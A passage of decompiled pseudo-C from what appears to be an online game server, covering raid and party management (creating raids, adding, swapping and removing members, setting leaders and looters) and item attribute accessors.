v8 = (int)v4->m_PartyNos; while ( 1 ) { v9 = CParty::operator__(RaidSystem::sm_pPartyData, pPartyNos[v7]); if ( !v9 ) break; v9->isRaidTypeParty = 1; *(_WORD *)v8 = pPartyNos[v7++]; v8 += 2; if ( v7 >= 8 ) return 1; } *rErrorType = 7814; v4->m_Raidnum = -1; v4->m_NumOfMember = 0; *(_DWORD *)&v4->m_PartyNos[0] = -1; *(_DWORD *)&v4->m_PartyNos[2] = -1; *(_DWORD *)&v4->m_PartyNos[4] = -1; *(_DWORD *)&v4->m_PartyNos[6] = -1; v4->m_Leader = -1; v4->m_SubLeader[0] = -1; v4->m_SubLeader[1] = -1; v4->m_SubLeader[2] = -1; v4->m_SubLeader[3] = -1; v4->m_SubLeader[4] = -1; v4->m_SubLeader[5] = -1; v4->m_SubLeader[6] = -1; v4->m_SubLeader[7] = -1; CLooting::reset(vala); result = 0; } else { *rErrorType = 7874; result = 0; } } else { *rErrorType = 7873; result = 0; } return result; } //----- (005D8C50) -------------------------------------------------------- bool __thiscall Raid::AddMember(Raid *this, PROTO_NC_RAID_ZONE_MEMBER_JOIN_CMD *pMemberInfo, unsigned __int16 *rErrorType) { Raid *v3; // edi@1 bool result; // al@2 unsigned __int16 v5; // si@5 v3 = this; if ( pMemberInfo ) { if ( RaidSystem::sm_pPartyData ) { v5 = this->m_PartyNos[pMemberInfo->nPartyIndex]; if ( v5 == pMemberInfo->nPartyNo ) { if ( v5 == -1 ) { *rErrorType = 8007; result = 0; } else { if ( CParty::MemberJoin(RaidSystem::sm_pPartyData, v5, &pMemberInfo->tInfo) == v5 ) { ++v3->m_NumOfMember; result = 1; } else { *rErrorType = 8006; result = 0; } } } else { *rErrorType = 8007; result = 0; } } else { *rErrorType = 7873; result = 0; } } else { *rErrorType = 8003; result = 0; } return result; } //----- (005D8CF0) -------------------------------------------------------- unsigned int __thiscall Raid::GetMemberRegNoByIndex(Raid *this, char nPartyIndex, char nSlot) { unsigned __int16 v4; // ax@6 CParty::PARTY_SLOT *v5; // eax@8 if ( (unsigned __int8)nPartyIndex >= 8u ) return -1; if ( (unsigned __int8)nSlot >= 5u || !RaidSystem::sm_pPartyData ) return -1; v4 = this->m_PartyNos[(unsigned __int8)nPartyIndex]; if ( v4 == -1 ) return -1; v5 = CParty::operator__(RaidSystem::sm_pPartyData, v4); if ( !v5 || v5->NumOfMember <= (unsigned __int8)nSlot ) return -1; return v5->Members[(unsigned __int8)nSlot].MemberInform.Member.chrregnum; } //----- (005D8D50) -------------------------------------------------------- void __thiscall Raid::SetItemDiceGameMode(Raid *this, bool IsMode) { CParty::PARTY_SLOT *v2; // eax@2 if ( RaidSystem::sm_pPartyData ) { v2 = CParty::operator__(RaidSystem::sm_pPartyData, this->m_PartyNos[0]); if ( v2 ) v2->IsBelongItemDiceGameIng = IsMode; } } //----- (005D8D80) -------------------------------------------------------- bool __thiscall Raid::IsItemDiceGameIng(Raid *this) { CParty::PARTY_SLOT *v1; // eax@2 bool result; // al@3 if ( RaidSystem::sm_pPartyData && (v1 = CParty::operator__(RaidSystem::sm_pPartyData, this->m_PartyNos[0])) != 0 ) result = v1->IsBelongItemDiceGameIng; else result = 0; return result; } //----- (005D8DB0) -------------------------------------------------------- bool __thiscall Raid::iterator::GetCharRegistNo(Raid::iterator *this, unsigned int *rCharRegistNo) { Raid::iterator *v2; // esi@1 int v3; // edx@2 int v4; // eax@4 unsigned __int16 v5; // ax@7 CParty::PARTY_SLOT *v6; // eax@8 signed int v7; // ecx@9 bool result; // al@10 v2 = this; if ( this->m_pRaid && (v3 = this->m_nPartyIndex, v3 < 8) && v3 >= 0 && (v4 = this->m_nSlot, v4 < 5) && v4 >= 0 && RaidSystem::sm_pPartyData && (v5 = this->m_pRaid->m_PartyNos[v3], v5 != -1) && (v6 = CParty::operator__(RaidSystem::sm_pPartyData, v5)) != 0 ) { v7 = v2->m_nSlot; if ( v6->NumOfMember > v7 ) { *rCharRegistNo = v6->Members[v7].MemberInform.Member.chrregnum; result = 1; } else { *rCharRegistNo = -1; result = 1; } } else { result = 0; } return result; } //----- (005D8E30) -------------------------------------------------------- bool __thiscall Raid::iterator::operator__(Raid::iterator *this, Raid::iterator *iter) { bool result; // al@2 if ( this->m_pRaid ) result = this->m_pRaid != iter->m_pRaid || this->m_nPartyIndex != iter->m_nPartyIndex || this->m_nSlot != iter->m_nSlot; else result = 1; return result; } //----- (005D8E80) -------------------------------------------------------- CParty::PARTY_SLOT::PARTY_MEMBER_SLOT *__thiscall Raid::iterator::GetSlotInfo(Raid::iterator *this) { Raid::iterator *v1; // esi@1 int v2; // eax@1 unsigned __int16 v3; // ax@3 CParty::PARTY_SLOT *v4; // eax@5 signed int v5; // ecx@6 CParty::PARTY_SLOT::PARTY_MEMBER_SLOT *result; // eax@7 v1 = this; v2 = this->m_nPartyIndex; if ( v2 >= 8 || v2 < 0 ) v3 = -1; else v3 = this->m_pRaid->m_PartyNos[v2]; v4 = CParty::operator__(RaidSystem::sm_pPartyData, v3); if ( v4 && (v5 = v1->m_nSlot, v4->NumOfMember > v5) ) result = &v4->Members[v5]; else result = 0; return result; } //----- (005D8ED0) -------------------------------------------------------- bool __thiscall Raid::iterator::UpdateMemberName(Raid::iterator *this, Name4 *pNewID) { Raid::iterator *v2; // esi@1 int v3; // eax@1 unsigned __int16 v4; // ax@3 CParty::PARTY_SLOT *v5; // eax@5 signed int v6; // ecx@6 bool result; // al@7 int v8; // eax@8 v2 = this; v3 = this->m_nPartyIndex; if ( v3 >= 8 || v3 < 0 ) v4 = -1; else v4 = this->m_pRaid->m_PartyNos[v3]; v5 = CParty::operator__(RaidSystem::sm_pPartyData, v4); if ( v5 && (v6 = v2->m_nSlot, v5->NumOfMember > v6) ) { v8 = (int)&v5->Members[v6].MemberInform.Member.charname; *(_QWORD *)v8 = *(_QWORD *)&pNewID->n4_name[0]; *(_QWORD *)(v8 + 8) = *(_QWORD *)&pNewID->n4_name[8]; result = 1; } else { result = 0; } return result; } //----- (005D8F40) -------------------------------------------------------- void __thiscall RaidSystem::RaidSystem(RaidSystem *this, CParty *pParty) { _eh_vector_constructor_iterator_( this, 0x54u, 500, (void (__thiscall *)(void *))Raid::Raid, (void (__thiscall *)(void *))Raid::_Raid); RaidSystem::sm_pPartyData = pParty; } //----- (005D8F70) -------------------------------------------------------- Raid *__thiscall RaidSystem::GetRaid(RaidSystem *this, unsigned __int16 RaidNumber) { Raid *result; // eax@2 if ( RaidNumber == -1 ) result = 0; else result = (Raid *)(((this->m_RaidSlot[RaidNumber].m_Raidnum != RaidNumber) - 1) & (unsigned int)((char *)this + 84 * RaidNumber)); return result; } //----- (005D8FA0) -------------------------------------------------------- Raid *__thiscall RaidSystem::CreateRaid(RaidSystem *this, unsigned __int16 RaidNo, const unsigned __int16 *pkPartyNos, unsigned __int16 *rErrorType) { char *v4; // esi@1 Raid *result; // eax@2 v4 = (char *)this + 84 * RaidNo; *rErrorType = 7808; if ( *((_WORD *)v4 + 2) == -1 ) result = (Raid *)(Raid::InitRaid((Raid *)v4, RaidNo, pkPartyNos, rErrorType) != 0 ? (int)v4 : 0); else result = 0; return result; } //----- (005D8FE0) -------------------------------------------------------- Raid *__thiscall RaidSystem::CreateRaidAndParty(RaidSystem *this, const unsigned __int16 PartyNo, unsigned __int16 *rErrorType) { RaidSystem *v3; // ebp@1 Raid *result; // eax@2 unsigned int v5; // ebx@5 char *v6; // eax@5 signed int v7; // esi@9 unsigned __int16 *v8; // edi@9 signed int i; // edi@13 unsigned __int16 *v10; // [sp+4h] [bp-18h]@1 const unsigned __int16 Partys; // [sp+8h] [bp-14h]@9 unsigned __int16 rPartyNo[2]; // [sp+Ah] [bp-12h]@9 int v13; // [sp+Eh] [bp-Eh]@9 int v14; // [sp+12h] [bp-Ah]@9 __int16 v15; // [sp+16h] [bp-6h]@9 unsigned int v16; // [sp+18h] [bp-4h]@1 v16 = (unsigned int)&v10 ^ __security_cookie; v3 = this; *rErrorType = 7808; v10 = rErrorType; if ( RaidSystem::sm_pPartyData ) { if ( PartyNo == -1 ) { *rErrorType = 7812; result = 0; } else { v5 = 0; v6 = (char *)&this->m_RaidSlot[0].m_Raidnum; while ( *(_WORD *)v6 != -1 ) { ++v5; v6 += 84; if ( v5 >= 0x1F4 ) return 0; } *(_DWORD *)rPartyNo = 0; v13 = 0; v14 = 0; v15 = 0; Partys = PartyNo; v7 = 1; v8 = rPartyNo; while ( CParty::CreateRaidParty(RaidSystem::sm_pPartyData, v8) == 65528 ) { ++v7; ++v8; if ( v7 >= 8 ) return (Raid *)(Raid::InitRaid((Raid *)v3 + v5, v5, &Partys, v10) != 0 ? (int)((char *)v3 + 84 * v5) : 0); } for ( i = 1; i < v7; ++i ) CParty::PartyDelete(RaidSystem::sm_pPartyData, *(&Partys + i)); *v10 = 7813; result = 0; } } else { *rErrorType = 7873; result = 0; } return result; } //----- (005D9140) -------------------------------------------------------- unsigned __int16 __thiscall RaidSystem::GetInRaidNumber(RaidSystem *this, unsigned int RegNo) { unsigned __int16 result; // ax@2 unsigned int v3; // ebp@3 RaidSystem *v4; // ebx@3 signed int v5; // edi@5 signed int v6; // esi@5 int FindRegNo; // [sp+0h] [bp-10h]@10 RaidSystem *iter; // [sp+4h] [bp-Ch]@5 int v9; // [sp+8h] [bp-8h]@6 int v10; // [sp+Ch] [bp-4h]@6 if ( RegNo == -1 ) { result = -1; } else { v3 = 0; v4 = this; do { if ( v4->m_RaidSlot[0].m_NumOfMember ) { v5 = 0; iter = v4; v6 = 0; LABEL_6: v9 = v5; v10 = v6; while ( !v4 || v5 != 8 || v6 ) { if ( Raid::iterator::GetCharRegistNo((Raid::iterator *)&iter, (unsigned int *)&FindRegNo) && FindRegNo == RegNo ) return v3; if ( v5 < 8 ) { ++v6; v10 = v6; if ( v6 >= 5 ) { v6 = 0; ++v5; goto LABEL_6; } } } } ++v3; v4 = (RaidSystem *)((char *)v4 + 84); } while ( v3 < 0x1F4 ); result = -1; } return result; } //----- (005D91E0) -------------------------------------------------------- bool __thiscall Raid::Reset(Raid *this, unsigned __int16 *rErrorType) { CParty *v2; // ebp@1 Raid *v3; // esi@1 bool result; // al@2 signed int v5; // edi@3 signed int v6; // ebx@3 unsigned __int16 v7; // ax@12 int v8; // eax@14 unsigned __int16 *v9; // ebx@20 signed int v10; // ebp@20 unsigned int nCharNo; // [sp+8h] [bp-14h]@8 CParty *pParty; // [sp+Ch] [bp-10h]@1 Raid *iter; // [sp+10h] [bp-Ch]@3 int v14; // [sp+14h] [bp-8h]@4 int v15; // [sp+18h] [bp-4h]@4 v2 = RaidSystem::sm_pPartyData; v3 = this; pParty = RaidSystem::sm_pPartyData; if ( RaidSystem::sm_pPartyData ) { v5 = 0; iter = this; v6 = 0; LABEL_4: v14 = v5; v15 = v6; while ( !v3 || v5 != 8 || v6 ) { if ( !Raid::iterator::GetCharRegistNo((Raid::iterator *)&iter, &nCharNo) ) { *rErrorType = 8001; return 0; } if ( nCharNo != -1 ) { v7 = v5 >= 8 || v5 < 0 ? -1 : v3->m_PartyNos[v5]; v8 = CParty::MemberLeave(v2, v7, nCharNo); if ( !Raid::_PartyLeaveCheckResult(v3, v8, rErrorType) ) return 0; } if ( v5 < 8 ) { ++v6; v15 = v6; if ( v6 >= 5 ) { v6 = 0; ++v5; goto LABEL_4; } } } v9 = v3->m_PartyNos; v10 = 8; do { CParty::PartyDelete(pParty, *v9); ++v9; --v10; } while ( v10 ); v3->m_Raidnum = -1; v3->m_NumOfMember = 0; *(_DWORD *)&v3->m_PartyNos[0] = -1; *(_DWORD *)&v3->m_PartyNos[2] = -1; *(_DWORD *)&v3->m_PartyNos[4] = -1; *(_DWORD *)&v3->m_PartyNos[6] = -1; v3->m_Leader = -1; v3->m_SubLeader[0] = -1; v3->m_SubLeader[1] = -1; v3->m_SubLeader[2] = -1; v3->m_SubLeader[3] = -1; v3->m_SubLeader[4] = -1; v3->m_SubLeader[5] = -1; v3->m_SubLeader[6] = -1; v3->m_SubLeader[7] = -1; CLooting::reset(&v3->m_Looting); result = 1; } else { result = 0; } return result; } //----- (005D9300) -------------------------------------------------------- Raid::iterator *__thiscall Raid::Find(Raid *this, Raid::iterator *result, const unsigned int MemberReg) { Raid *v3; // ebx@1 int v4; // edi@1 int v5; // esi@1 Raid::iterator *v6; // eax@11 int CheckReg; // [sp+10h] [bp-10h]@6 Raid *iter; // [sp+14h] [bp-Ch]@1 int v9; // [sp+18h] [bp-8h]@2 int v10; // [sp+1Ch] [bp-4h]@2 v3 = this; v4 = 0; iter = this; v5 = 0; LABEL_2: v9 = v4; v10 = v5; while ( (!v3 || v4 != 8 || v5) && Raid::iterator::GetCharRegistNo((Raid::iterator *)&iter, (unsigned int *)&CheckReg) ) { if ( MemberReg == CheckReg ) { v6 = result; result->m_pRaid = iter; result->m_nPartyIndex = v4; result->m_nSlot = v5; return v6; } if ( v4 < 8 ) { ++v5; v10 = v5; if ( v5 >= 5 ) { v5 = 0; ++v4; goto LABEL_2; } } } v6 = result; result->m_pRaid = v3; result->m_nPartyIndex = 8; result->m_nSlot = 0; return v6; } //----- (005D93A0) -------------------------------------------------------- bool __thiscall Raid::AddMember(Raid *this, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMemberInfo, unsigned __int16 *rErrorType) { Raid *v3; // esi@1 bool result; // al@2 unsigned __int16 v5; // ax@12 Raid *iter; // [sp+8h] [bp-Ch]@5 int flag; // [sp+Ch] [bp-8h]@7 int v8; // [sp+10h] [bp-4h]@8 v3 = this; if ( !pMemberInfo ) { *rErrorType = 8003; return 0; } if ( !RaidSystem::sm_pPartyData ) { *rErrorType = 7873; return 0; } Raid::Find(this, (Raid::iterator *)&iter, 0xFFFFFFFFu); if ( iter && iter == v3 && flag == 8 ) { if ( !v8 ) { *rErrorType = 8005; return 0; } goto LABEL_15; } if ( flag < 0 || flag >= 8 ) { LABEL_15: AssertClass::ac_AssertFail(&shineassert, "Raid::AddMember : INVALID PARTY INDEX :", flag); return 0; } v5 = Raid::iterator::GetPartyRegNo((Raid::iterator *)&iter); if ( CParty::MemberJoin(RaidSystem::sm_pPartyData, v5, pMemberInfo) == v5 ) { ++v3->m_NumOfMember; result = 1; } else { *rErrorType = 8006; result = 0; } return result; } //----- (005D9480) -------------------------------------------------------- bool __thiscall Raid::SlotChangeMember(Raid *this, const unsigned int MemberReg, char nPartyIndex, char nPartySlot, unsigned __int16 *rErrorType) { CParty *v5; // ebx@1 Raid *v6; // ebp@1 int v8; // esi@5 int v9; // eax@12 CParty::PARTY_SLOT *v10; // edi@12 CParty::PARTY_SLOT *v11; // eax@13 int v12; // eax@19 unsigned __int16 *v13; // edi@19 unsigned __int16 *v14; // [sp+Ch] [bp-3Ch]@1 int nNowPartyNo; // [sp+10h] [bp-38h]@12 unsigned __int16 *v16; // [sp+14h] [bp-34h]@13 Raid *iter; // [sp+18h] [bp-30h]@5 int v18; // [sp+1Ch] [bp-2Ch]@7 int v19; // [sp+20h] [bp-28h]@5 unsigned int ShineCharRegNo; // [sp+24h] [bp-24h]@17 PROTO_PARTY_MEMBER_AND_ZONEMERCHINE MemberInfo; // [sp+28h] [bp-20h]@19 unsigned int v22; // [sp+44h] [bp-4h]@1 v5 = RaidSystem::sm_pPartyData; v22 = (unsigned int)&v14 ^ __security_cookie; v6 = this; v14 = rErrorType; if ( !RaidSystem::sm_pPartyData ) { *rErrorType = 7873; return 0; } if ( MemberReg == -1 ) { *rErrorType = 8008; return 0; } Raid::Find(this, (Raid::iterator *)&iter, MemberReg); v8 = v19; if ( !iter || iter != v6 || v18 != 8 || v19 ) { if ( (unsigned __int8)nPartyIndex >= 8u || (unsigned __int8)nPartySlot >= 5u ) { *rErrorType = 8009; } else { LOWORD(v9) = Raid::iterator::GetPartyRegNo((Raid::iterator *)&iter); nNowPartyNo = v9; v10 = CParty::operator__(v5, v9); if ( v10 && (v16 = &v6->m_PartyNos[(unsigned __int8)nPartyIndex], (v11 = CParty::operator__(v5, *v16)) != 0) ) { if ( (unsigned __int8)nPartySlot >= v11->NumOfMember ) { if ( Raid::iterator::GetCharRegistNo((Raid::iterator *)&iter, &ShineCharRegNo) ) { memcpy(&MemberInfo, &v10->Members[v8], sizeof(MemberInfo)); v12 = CParty::MemberLeave(v5, nNowPartyNo, ShineCharRegNo); v13 = v14; if ( Raid::_PartyLeaveCheckResult(v6, v12, v14) ) { --v6->m_NumOfMember; if ( CParty::MemberJoin(v5, *v16, &MemberInfo) == *v16 ) { ++v6->m_NumOfMember; return 1; } *v13 = 8006; } } else { *v14 = 8001; } } else { *v14 = 8011; } } else { *v14 = 8010; } } } else { *rErrorType = 8008; } return 0; } //----- (005D9640) -------------------------------------------------------- bool __thiscall Raid::DeleteMember(Raid *this, const unsigned int MemberRegNo, unsigned __int16 *rErrorType) { Raid *v3; // esi@1 bool v5; // sf@5 unsigned __int8 v6; // of@5 unsigned __int16 v7; // di@11 int v8; // eax@16 Raid *iter; // [sp+4h] [bp-Ch]@3 int v10; // [sp+8h] [bp-8h]@5 int v11; // [sp+Ch] [bp-4h]@6 v3 = this; if ( !RaidSystem::sm_pPartyData ) { *rErrorType = 7873; return 0; } Raid::Find(this, (Raid::iterator *)&iter, MemberRegNo); if ( iter && iter == v3 ) { v6 = __OFSUB__(v10, 8); v5 = v10 - 8 < 0; if ( v10 == 8 ) { if ( !v11 ) { *rErrorType = 8008; return 0; } goto LABEL_12; } } else { v6 = __OFSUB__(v10, 8); v5 = v10 - 8 < 0; } if ( v5 ^ v6 && v10 >= 0 ) { v7 = iter->m_PartyNos[v10]; goto LABEL_13; } LABEL_12: v7 = -1; LABEL_13: if ( !CParty::operator__(RaidSystem::sm_pPartyData, v7) ) { *rErrorType = 7814; return 0; } v8 = CParty::MemberLeave(RaidSystem::sm_pPartyData, v7, MemberRegNo); if ( !Raid::_PartyLeaveCheckResult(v3, v8, rErrorType) ) return 0; --v3->m_NumOfMember; return 1; } //----- (005D9710) -------------------------------------------------------- bool __thiscall Raid::SwapMember(Raid *this, const unsigned int MemberLeft, const unsigned int MemberRight, unsigned __int16 *rErrorType) { Raid *v4; // esi@1 bool result; // al@2 int v6; // edi@3 int v7; // ebx@3 Raid *Leftiter; // [sp+4h] [bp-Ch]@3 int v9; // [sp+8h] [bp-8h]@3 int nSlotNo_Right; // [sp+Ch] [bp-4h]@3 v4 = this; if ( RaidSystem::sm_pPartyData ) { Raid::Find(this, (Raid::iterator *)&Leftiter, MemberLeft); v6 = nSlotNo_Right; v7 = v9; if ( (!Leftiter || Leftiter != v4 || v9 != 8 || nSlotNo_Right) && ((Raid::Find(v4, (Raid::iterator *)&Leftiter, MemberRight), !Leftiter) || Leftiter != v4 || v9 != 8 || nSlotNo_Right) ) result = CParty::SwapPartyMember( RaidSystem::sm_pPartyData, v4->m_PartyNos[v7], v6, v4->m_PartyNos[v9], nSlotNo_Right); else result = 0; } else { result = 0; } return result; } //----- (005D97C0) -------------------------------------------------------- bool __thiscall Raid::AddSubLeader(Raid *this, const unsigned int TargetMember, unsigned __int16 *rErrorType) { Raid *v3; // esi@1 Raid::iterator *v4; // eax@1 bool v5; // al@5 unsigned int v6; // eax@6 int v7; // ecx@6 unsigned int v8; // eax@9 int v9; // ecx@9 Raid::iterator result; // [sp+8h] [bp-Ch]@1 v3 = this; v4 = Raid::Find(this, &result, TargetMember); if ( !v4->m_pRaid || v4->m_pRaid != v3 || v4->m_nPartyIndex != 8 || v4->m_nSlot ) { v6 = 0; v7 = (int)v3->m_SubLeader; do { if ( TargetMember == *(_DWORD *)v7 ) { *rErrorType = 7948; return 0; } ++v6; v7 += 4; } while ( v6 < 8 ); v8 = 0; v9 = (int)v3->m_SubLeader; while ( *(_DWORD *)v9 != -1 ) { ++v8; v9 += 4; if ( v8 >= 8 ) { *rErrorType = 7947; return 0; } } v3->m_SubLeader[v8] = TargetMember; v5 = 1; } else { *rErrorType = 7944; v5 = 0; } return v5; } //----- (005D9860) -------------------------------------------------------- bool __thiscall Raid::SetLooter(Raid *this, unsigned int val) { Raid *v2; // esi@1 Raid::iterator *v3; // eax@1 CLooting *v4; // esi@5 bool v5; // al@6 Raid::iterator result; // [sp+8h] [bp-Ch]@1 v2 = this; v3 = Raid::Find(this, &result, val); if ( (!v3->m_pRaid || v3->m_pRaid != v2 || v3->m_nPartyIndex != 8 || v3->m_nSlot) && (v4 = &v2->m_Looting, CLooting::GetLooter(v4) != val) ) { CLooting::SetLooter(v4, val); v5 = 1; } else { v5 = 0; } return v5; } //----- (005D98C0) -------------------------------------------------------- bool __thiscall Raid::SetLeader(Raid *this, unsigned int Leader) { unsigned int v2; // edi@1 Raid *v3; // esi@1 Raid::iterator *v4; // eax@1 bool v5; // al@6 unsigned int v6; // ebx@7 unsigned int v7; // eax@9 const unsigned int v8; // ecx@10 Raid::iterator result; // [sp+8h] [bp-Ch]@1 v2 = Leader; v3 = this; v4 = Raid::Find(this, &result, Leader); if ( (!v4->m_pRaid || v4->m_pRaid != v3 || v4->m_nPartyIndex != 8 || v4->m_nSlot) && v3->m_Leader != v2 ) { v3->m_Leader = v2; v6 = 0; do { if ( (unsigned __int8)v6 < 8u ) { v7 = v3->m_SubLeader[(unsigned __int8)v6]; if ( v7 != -1 ) { v8 = v3->m_Leader; if ( v7 == v8 ) Raid::DelSubLeader(v3, v8, (unsigned __int16 *)&Leader); } } ++v6; } while ( v6 < 8 ); v5 = 1; } else { v5 = 0; } return v5; } //----- (005D9940) -------------------------------------------------------- bool __thiscall RaidSystem::ResetRaid(RaidSystem *this, unsigned __int16 RaidNumber, unsigned __int16 *rErrorType) { char *v3; // ecx@1 bool result; // al@3 v3 = (char *)this + 84 * RaidNumber; *rErrorType = 7808; if ( *((_WORD *)v3 + 2) == RaidNumber && v3 ) { result = Raid::Reset((Raid *)v3, rErrorType) != 0; } else { *rErrorType = 8000; result = 0; } return result; } //----- (005D9980) -------------------------------------------------------- void __thiscall RecallPointTable::RecallPointTable(ShineScript *this) { OptionReader::OptionReader(&this->baseclass_0); } //----- (005D9990) -------------------------------------------------------- FieldOption::FieldAttr *__thiscall FieldOption::fo_GetFieldAttr(FieldOption *this, char *mapname) { OptionReader *v2; // edi@1 int v3; // esi@1 char v4; // al@2 int v5; // esi@3 FieldOption::FieldAttr *result; // eax@3 ORToken v7; // [sp-20h] [bp-74h]@5 int v8; // [sp-1Ch] [bp-70h]@5 int v9; // [sp-18h] [bp-6Ch]@5 int v10; // [sp-14h] [bp-68h]@5 int v11; // [sp-10h] [bp-64h]@5 char *v12; // [sp-Ch] [bp-60h]@5 char *v13; // [sp-8h] [bp-5Ch]@5 int v14; // [sp-4h] [bp-58h]@5 ORToken *v15; // [sp+Ch] [bp-48h]@1 char map[64]; // [sp+10h] [bp-44h]@1 unsigned int v17; // [sp+50h] [bp-4h]@1 v17 = (unsigned int)&v15 ^ __security_cookie; v2 = (OptionReader *)this; strncpy(map, mapname, 0x3Fu); v3 = (int)map; do v4 = *(_BYTE *)v3++; while ( v4 ); v5 = v3 - (_DWORD)&map[1]; result = 0; do { if ( v5 <= 0 ) break; v14 = 0; v13 = map; v12 = "MapIDClient"; v15 = &v7; map[v5] = 0; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "FieldList", 0x14u); result = (FieldOption::FieldAttr *)OptionReader::or_SelectFrom(v2, v7, v12, v13, v14); --v5; } while ( !result ); return result; } //----- (005D9A30) -------------------------------------------------------- int __thiscall FieldOption::fo_GetMechineNumber(FieldOption *this, char *servergroup, unsigned int serial, int mymachine) { OptionReader *v4; // esi@1 void *v5; // eax@1 int result; // eax@3 ORToken v7; // [sp-24h] [bp-2Ch]@1 int v8; // [sp-20h] [bp-28h]@1 int v9; // [sp-1Ch] [bp-24h]@1 int v10; // [sp-18h] [bp-20h]@1 int v11; // [sp-14h] [bp-1Ch]@1 char *v12; // [sp-10h] [bp-18h]@1 int v13; // [sp-Ch] [bp-14h]@1 int v14; // [sp-8h] [bp-10h]@1 int *v15; // [sp-4h] [bp-Ch]@1 v15 = (int *)&serial; v14 = 0; v4 = (OptionReader *)this; v13 = serial; v12 = "Serial"; serial = (unsigned int)&v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "FieldList", 0x14u); v5 = OptionReader::or_Select(v4, servergroup, v7, v12, v13, v14, v15); if ( v5 && serial == 3 ) result = *(_BYTE *)v5; else result = -1; return result; } //----- (005D9AA0) -------------------------------------------------------- void __thiscall FieldOption::fo_Store(FieldOption *this, FieldOption::FieldAttr *fldtemplet) { int v2; // eax@1 v2 = this->fo_Number; if ( v2 < 512 ) { this->fo_Array[v2] = fldtemplet; ++this->fo_Number; } } //----- (005D9AD0) -------------------------------------------------------- ItemAttributeClass *__thiscall ItemAttributeClassContainer::operator__(ItemAttributeClassContainer *this, unsigned __int16 itmid) { ItemAttributeClass *v2; // esi@1 ItemDataBox::ItemDataBoxIndex *v3; // eax@1 ItemInfo *v4; // eax@2 v2 = (ItemAttributeClass *)this; v3 = ItemDataBox::operator__(&itemdatabox, itmid); if ( !v3 ) return v2; v4 = v3->data; if ( v4->Class >= 34 ) { AssertClass::ac_AssertFail(&shineassert, "ItemAttributeClassContainer::operator [] : Invalid item class", v4->Class); return v2; } return (ItemAttributeClass *)v2[v4->Class + 32].vfptr; } //----- (005D9B20) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_ByteLot::iac_GetAttrSize(ItemAttrCls_GBCoin *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 1; } //----- (005D9B30) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_ItemClass(ItemAttributeClass *this) { return 255; } //----- (005D9B40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_smo_CrossCounterDamage(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm) { return -1; } //----- (005D9B50) -------------------------------------------------------- int __thiscall std::codecvt_base::do_encoding(ORFieldIndex *this) { return 1; } //----- (005D9B60) -------------------------------------------------------- int __thiscall ItemAttrCls_DwrdLot::iac_GetLot(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm) { return *(_DWORD *)&itm->itemattr.blot.lot; } //----- (005D9B70) -------------------------------------------------------- int __thiscall CharClassFighter::cc_PromoteClass(ORFieldString *this) { return 2; } //----- (005D9B80) -------------------------------------------------------- void __thiscall ItemAttrCls_QuestLot::iac_SetLot(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, unsigned int lot) { *(_WORD *)&itm->itemattr.blot.lot = lot; } //----- (005D9B90) -------------------------------------------------------- int __thiscall ORColumnHeaderByte::orch_FieldType(ORFieldByte *this) { return 3; } //----- (005D9BA0) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Amulet::iac_GetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)&itm->itemattr; } //----- (005D9BC0) -------------------------------------------------------- int __thiscall ItemAttrCls_Amulet::iac_Getupgrade(ItemAttrCls_Amulet *this, ItemTotalInformation *itm) { return itm->iti_itemstruct.itemattr.amulet.upgrade; } //----- (005D9BD0) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Weapon::iac_GetDeteleDateTime(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)((char *)&itm->itemattr.binditem.portal[5].x + 2); } //----- (005D9BF0) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Boot::iac_GetDeteleDateTime(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)((char *)&itm->itemattr.amulet.IsPutOnBelonged + 3); } //----- (005D9C00) -------------------------------------------------------- int __thiscall CharClassCleric::cc_ClassType(ItemAttrCls_Armor *this) { return 6; } //----- (005D9C10) -------------------------------------------------------- int __thiscall CharClassHighCleric::cc_ClassType(ItemAttrCls_Shield *this) { return 7; } //----- (005D9C20) -------------------------------------------------------- int __thiscall CharClassPaladin::cc_ClassType(ItemAttrCls_Boot *this) { return 8; } //----- (005D9C30) -------------------------------------------------------- int __thiscall ItemAttrCls_Armor::iac_Getupgrade(ItemAttrCls_Boot *this, ItemTotalInformation *itm) { return itm->iti_itemstruct.itemattr.blot.lot; } //----- (005D9C40) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetDeteleDateTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 3); } //----- (005D9C50) -------------------------------------------------------- int __thiscall ItemAttrCls_Furniture::iac_ItemClass(ItemAttrCls_Furniture *this) { return 9; } //----- (005D9C60) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetEndureEndTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)&itm->itemattr.amulet.upgradeopton[2]; } //----- (005D9C70) -------------------------------------------------------- int __thiscall CharClassGuardian::cc_ClassType(ItemAttrCls_Decoration *this) { return 10; } //----- (005D9C80) -------------------------------------------------------- int __thiscall ItemAttrCls_SkillScroll::iac_ItemClass(ItemAttrCls_SkillScroll *this) { return 11; } //----- (005D9C90) -------------------------------------------------------- int __thiscall ItemAttrCls_RecallScroll::iac_ItemClass(ItemAttrCls_RecallScroll *this) { return 12; } //----- (005D9CA0) -------------------------------------------------------- int __thiscall CharClassSharpShooter::cc_ClassType(ItemAttrCls_UpSource *this) { return 14; } //----- (005D9CB0) -------------------------------------------------------- int __thiscall 